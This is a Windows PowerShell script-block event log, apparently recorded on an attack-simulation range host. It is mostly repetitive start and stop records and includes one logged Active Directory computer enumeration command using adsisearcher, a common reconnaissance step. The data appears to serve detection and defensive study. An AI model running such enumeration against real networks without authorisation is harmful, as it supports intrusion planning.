002aec28-8972-47f1-9126-dc9a4c35f1d2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997246 Keywords=None Message=Completed invocation of ScriptBlock ID: 002aec28-8972-47f1-9126-dc9a4c35f1d2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997245 Keywords=None Message=Started invocation of ScriptBlock ID: 002aec28-8972-47f1-9126-dc9a4c35f1d2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997244 Keywords=None Message=Completed invocation of ScriptBlock ID: 002aec28-8972-47f1-9126-dc9a4c35f1d2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997243 Keywords=None Message=Started invocation of ScriptBlock ID: 002aec28-8972-47f1-9126-dc9a4c35f1d2 Runspace ID: 66ae79ab-6cfb-4214-96b8-2fa9cf0b2860 09/09/2021 06:18:28 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997242 Keywords=None Message=Creating Scriptblock text (1 of 1): {($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])} ScriptBlock ID: 002aec28-8972-47f1-9126-dc9a4c35f1d2 Path: 09/09/2021 06:18:32 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997314 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:32 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997313 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:32 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997312 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:32 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997311 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:32 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997310 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:32 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997309 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:32 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997308 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:32 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997307 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:32 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997306 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:32 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997305 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997324 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997323 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997322 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997321 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997320 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997319 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997318 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997317 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997316 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997315 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997334 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997333 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997332 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997331 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997330 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997329 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997328 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997327 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997326 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:43 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997325 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997350 Keywords=None Message=Started invocation of ScriptBlock ID: 69f73096-14f6-4d18-85a9-133073bb5293 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997349 Keywords=None Message=Creating Scriptblock text (1 of 1): ([adsisearcher]"objectclass=computer").FindAll() ScriptBlock ID: 69f73096-14f6-4d18-85a9-133073bb5293 Path: 09/09/2021 06:18:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997348 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997347 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997346 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997345 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997344 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997343 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997342 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997341 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997340 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997339 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997338 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997337 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997336 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997335 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997369 Keywords=None Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997368 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997367 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997366 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local 